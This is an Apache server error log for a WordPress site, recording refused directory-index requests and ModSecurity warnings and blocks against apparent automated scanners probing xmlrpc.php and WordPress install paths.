[Wed Apr 22 07:25:44.853025 2026] [autoindex:error] [pid 31756:tid 31810] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:25:45.352586 2026] [autoindex:error] [pid 31756:tid 31803] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:25:47.502291 2026] [autoindex:error] [pid 31756:tid 31798] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:25:49.663671 2026] [autoindex:error] [pid 31756:tid 31796] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:26:13.944372 2026] [autoindex:error] [pid 31756:tid 31807] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:26:17.478119 2026] [autoindex:error] [pid 31756:tid 31812] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:26:20.986002 2026] [autoindex:error] [pid 31756:tid 31801] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:26:24.667506 2026] [autoindex:error] [pid 31756:tid 31809] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:26:26.911051 2026] [autoindex:error] [pid 31756:tid 31798] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:26:27.407368 2026] [autoindex:error] [pid 31756:tid 31791] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:26:29.577569 2026] [autoindex:error] [pid 31756:tid 31792] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:26:30.071535 2026] [autoindex:error] [pid 31756:tid 31796] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:26:30.569166 2026] [autoindex:error] [pid 31756:tid 31813] [client 45.137.126.48:56971] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:26:37.180369 2026] [autoindex:error] [pid 32053:tid 32062] [client 45.137.126.24:28687] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/pullquote/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:26:41.159970 2026] [autoindex:error] [pid 32053:tid 32078] [client 45.137.126.24:28687] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/comments-pagination-numbers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:26:53.800050 2026] [autoindex:error] [pid 32053:tid 32064] [client 45.137.126.24:28687] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:26:54.300933 2026] [autoindex:error] [pid 32053:tid 32067] [client 45.137.126.24:28687] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/post-terms/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:26:56.490231 2026] [autoindex:error] [pid 32053:tid 32056] [client 45.137.126.24:28687] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:26:58.808849 2026] [autoindex:error] [pid 32053:tid 32055] [client 45.137.126.24:28687] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/namespaced/Core/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:27:04.763137 2026] [autoindex:error] [pid 32053:tid 32057] [client 45.137.126.24:28687] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:27:12.073149 2026] [autoindex:error] [pid 32053:tid 32060] [client 45.137.126.24:28687] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/site-title/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:27:21.064702 2026] [autoindex:error] [pid 32053:tid 32055] [client 45.137.126.24:28687] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:27:27.083924 2026] [autoindex:error] [pid 32053:tid 32077] [client 45.137.126.24:28687] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:27:27.579965 2026] [autoindex:error] [pid 32053:tid 32062] [client 45.137.126.24:28687] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2026/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:34:36.023166 2026] [:error] [pid 21682:tid 21731] [client 45.5.101.241:48192] [client 45.5.101.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.5.101.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aegJjJlXWQZUlmPHS3oQxgAAAEg"]
[Wed Apr 22 07:34:43.414716 2026] [:error] [pid 21683:tid 21765] [client 45.5.101.241:48420] [client 45.5.101.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.5.101.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aegJk1ZBWT-0diZyYyaeYwAAAI8"]
[Wed Apr 22 07:34:54.278031 2026] [:error] [pid 23041:tid 23058] [client 45.5.101.241:48662] [client 45.5.101.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.5.101.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aegJnkTXx_lUa7xwAb78WgAAAQ4"]
[Wed Apr 22 07:35:04.991551 2026] [:error] [pid 21682:tid 21744] [client 45.5.101.241:48906] [client 45.5.101.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.5.101.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aegJqJlXWQZUlmPHS3oQ_QAAAFU"]
[Wed Apr 22 07:35:15.682631 2026] [:error] [pid 23041:tid 23064] [client 45.5.101.241:48351] [client 45.5.101.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.5.101.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aegJs0TXx_lUa7xwAb78oAAAARQ"]
[Wed Apr 22 09:11:35.306823 2026] [:error] [pid 21683:tid 21772] [client 185.242.3.48:56104] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp"] [unique_id "aeggR1ZBWT-0diZyYyawAQAAAJY"]
[Wed Apr 22 09:11:35.861956 2026] [:error] [pid 31756:tid 31797] [client 185.242.3.48:55869] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp"] [unique_id "aeggR9_WbkXbHaEfhd33wAAAAkU"]
[Wed Apr 22 09:11:36.388095 2026] [:error] [pid 23041:tid 23050] [client 185.242.3.48:56873] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp"] [unique_id "aeggSETXx_lUa7xwAb4nvAAAAQY"]
[Wed Apr 22 09:11:36.982482 2026] [:error] [pid 32053:tid 32065] [client 185.242.3.48:57891] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp"] [unique_id "aeggSAzPjXx_ocfbYhtD6wAAA0o"]
[Wed Apr 22 09:11:37.579715 2026] [:error] [pid 23041:tid 23057] [client 185.242.3.48:58935] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp"] [unique_id "aeggSUTXx_lUa7xwAb4nvQAAAQ0"]
[Wed Apr 22 09:11:38.107498 2026] [:error] [pid 31755:tid 31780] [client 185.242.3.48:60589] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/setup-config.php"] [unique_id "aeggSgz2mYMkg3X8q1uuOwAAAhE"]
[Wed Apr 22 09:11:38.653283 2026] [:error] [pid 31755:tid 31771] [client 185.242.3.48:61982] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/setup-config.php"] [unique_id "aeggSgz2mYMkg3X8q1uuPAAAAgg"]
[Wed Apr 22 09:11:39.144644 2026] [:error] [pid 31706:tid 31710] [client 185.242.3.48:63471] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/setup-config.php"] [unique_id "aeggS7GSe9Rnd4Q_z1iolQAAAcE"]
[Wed Apr 22 09:11:39.677181 2026] [:error] [pid 32095:tid 32121] [client 185.242.3.48:64199] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/setup-config.php"] [unique_id "aeggS9fu5Cv628YPe5-FPgAAA5c"]
[Wed Apr 22 09:11:40.194516 2026] [:error] [pid 31756:tid 31806] [client 185.242.3.48:65525] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/setup-config.php"] [unique_id "aeggTN_WbkXbHaEfhd33wQAAAk4"]
[Wed Apr 22 09:11:40.693429 2026] [:error] [pid 32053:tid 32062] [client 185.242.3.48:50037] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/install.php"] [unique_id "aeggTAzPjXx_ocfbYhtD7QAAA0c"]
[Wed Apr 22 09:11:41.277723 2026] [:error] [pid 31706:tid 31722] [client 185.242.3.48:50745] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/install.php"] [unique_id "aeggTbGSe9Rnd4Q_z1iomAAAAc0"]
[Wed Apr 22 09:11:41.762627 2026] [:error] [pid 31844:tid 31861] [client 185.242.3.48:51960] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/install.php"] [unique_id "aeggTWtAU9CprTB4b3I7kwAAAo8"]
[Wed Apr 22 09:11:42.310634 2026] [:error] [pid 23041:tid 23045] [client 185.242.3.48:52996] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/install.php"] [unique_id "aeggTkTXx_lUa7xwAb4nvwAAAQE"]
[Wed Apr 22 09:11:42.908917 2026] [:error] [pid 31844:tid 31849] [client 185.242.3.48:54116] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/install.php"] [unique_id "aeggTmtAU9CprTB4b3I7lQAAAoM"]
[Wed Apr 22 09:11:43.497741 2026] [:error] [pid 21682:tid 21746] [client 185.242.3.48:55177] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blog"] [unique_id "aeggT5lXWQZUlmPHS3ov3gAAAFc"]
[Wed Apr 22 09:11:43.983492 2026] [:error] [pid 32095:tid 32103] [client 185.242.3.48:56026] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blog"] [unique_id "aeggT9fu5Cv628YPe5-FQQAAA4U"]
[Wed Apr 22 09:11:44.509315 2026] [:error] [pid 21682:tid 21723] [client 185.242.3.48:56861] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blog"] [unique_id "aeggUJlXWQZUlmPHS3ov4wAAAEA"]
[Wed Apr 22 09:11:45.003559 2026] [:error] [pid 21682:tid 21733] [client 185.242.3.48:57621] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blog"] [unique_id "aeggUZlXWQZUlmPHS3ov5gAAAEo"]
[Wed Apr 22 09:11:45.541107 2026] [:error] [pid 31755:tid 31774] [client 185.242.3.48:58342] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blog"] [unique_id "aeggUQz2mYMkg3X8q1uuQgAAAgs"]
[Wed Apr 22 09:11:46.028502 2026] [:error] [pid 31756:tid 31802] [client 185.242.3.48:59136] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new"] [unique_id "aeggUt_WbkXbHaEfhd33wwAAAko"]
[Wed Apr 22 09:11:46.561942 2026] [:error] [pid 31949:tid 31969] [client 185.242.3.48:60449] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new"] [unique_id "aeggUn2WtGZh5JfbMUdRdQAAAxE"]
[Wed Apr 22 09:11:47.074853 2026] [:error] [pid 31949:tid 31963] [client 185.242.3.48:61450] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new"] [unique_id "aeggU32WtGZh5JfbMUdRdgAAAws"]
[Wed Apr 22 09:11:47.625470 2026] [:error] [pid 31706:tid 31711] [client 185.242.3.48:62580] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new"] [unique_id "aeggU7GSe9Rnd4Q_z1iooAAAAcI"]
[Wed Apr 22 09:11:48.173433 2026] [:error] [pid 31844:tid 31851] [client 185.242.3.48:63932] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new"] [unique_id "aeggVGtAU9CprTB4b3I7lgAAAoU"]
[Wed Apr 22 09:11:48.768912 2026] [:error] [pid 31755:tid 31775] [client 185.242.3.48:65008] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/old"] [unique_id "aeggVAz2mYMkg3X8q1uuRgAAAgw"]
[Wed Apr 22 09:11:49.508062 2026] [:error] [pid 31755:tid 31787] [client 185.242.3.48:50238] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/old"] [unique_id "aeggVQz2mYMkg3X8q1uuRwAAAhg"]
[Wed Apr 22 09:11:50.096751 2026] [:error] [pid 31755:tid 31779] [client 185.242.3.48:52804] [client 185.242.3.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/old"] [unique_id "aeggVgz2mYMkg3X8q1uuSQAAAhA"]
